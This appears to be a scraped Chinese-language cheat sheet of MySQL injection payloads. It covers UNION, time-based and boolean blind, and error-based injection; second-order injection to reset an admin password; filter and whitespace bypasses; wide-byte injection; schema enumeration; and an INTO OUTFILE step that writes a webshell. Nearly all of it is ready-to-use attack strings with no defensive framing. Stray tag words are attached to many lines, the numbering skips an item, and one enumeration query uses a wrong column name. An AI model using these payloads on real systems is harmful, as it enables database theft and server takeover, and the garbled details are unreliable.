mysql注入

1.註釋符php

#...mysql

--  ...sql

/* ... */數據庫

2.union查詢時要使字段數相同函數

?id=-1' union select 1,2,3 --+;編碼

3.盲注url

1)延時注入regexp

and  sleep(4);orm

if(ascii(substr(database(),1,1))>115,0,sleep(4))#   xml

id=3' and sleep(5) or 'a'='a

 

2)基於布爾的盲注

left(database(),1)='s';

ascii(substr((select database()),1,1))=98;    /* substr(a,b,c)從b位置截取字符串a的c長度,同mid();ascii()將字符轉換爲ascii碼,同ord()*/

and ord(mid(user(),1,1))=114 判斷數據庫權限是否爲root;

and length(user())>0  判斷數據庫是否爲mysql;

regexp正則:  select  user()  regexp'^[a-z]';

 >select  user()  regexp '^r';
+---------------------+
| user()  regexp '^r' |
+---------------------+
|                   1 |
+---------------------+
1 row in set (0.00 sec)

當正確的時候顯示結果爲1,當不正確的時候顯示結果爲0。

like匹配:

select  user()  like'ro%';

 

3)報錯注入

函數:updatexml()  ,extractvalue()

id=1' and updatexml(1,concat(0x7e,(select user() ),0x7e),1) --+;  /*0x7e爲~的16進制*/

ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'

id=2' and  extractvalue(1,concat(0x3a,database(),0x7e))--+;

ERROR 1105 (HY000): XPATH syntax error: ':security~'

 

4.堆疊注入(;)

 

5.二次注入

'or 1=1  --+

'or 'a'='a

註冊admin'#用戶,再調用

如: update  table  set  password="newpassword" where  username='name';

可修改admin的密碼

 

7.繞過

過濾了or/and:

or用||,and用&&(%26)

anadnd大小寫·,雙寫

過濾了空格:

%09 (水平tab)  %0a(新建一行) %0c (新的一頁) %0d(return)  %0d(垂直tab)   %a0(空格)

 

8.寬字節注入

?id=%df%27

一般來講,一個gbk編碼漢字,佔用2個字節。一個utf-8編碼的漢字,佔用3個字節。

SHOW CHARACTER SET;/*支持的字符集*/

常見的符號的url編碼: '(%27)   #(%23)   &(%26)

 

9.常見查詢語句

select group_concat(schema_name) from  information_schema.schemata; /*顯示全部數據庫,*/

select  table_name from  information_schema.tables where  table_schema='數據庫名' limit 0,1;   /*  輸出相應數據庫的第一張表*/

select  table_column from  information_schema.columns where  table_name='表名' limit 0,1;   /* 輸出相應數據庫的第一張表*/

select 列名 from 庫名.表名;   /* 顯示字段內容*/

update  表名 set  列名=值 where conditions;    /*更新字段*/

10.其餘

寫入一句話

id=1 into outfile 'c:\\...\m.php' lines    terminated  by ( 一句話的16進制)

相關文章
相關標籤/搜索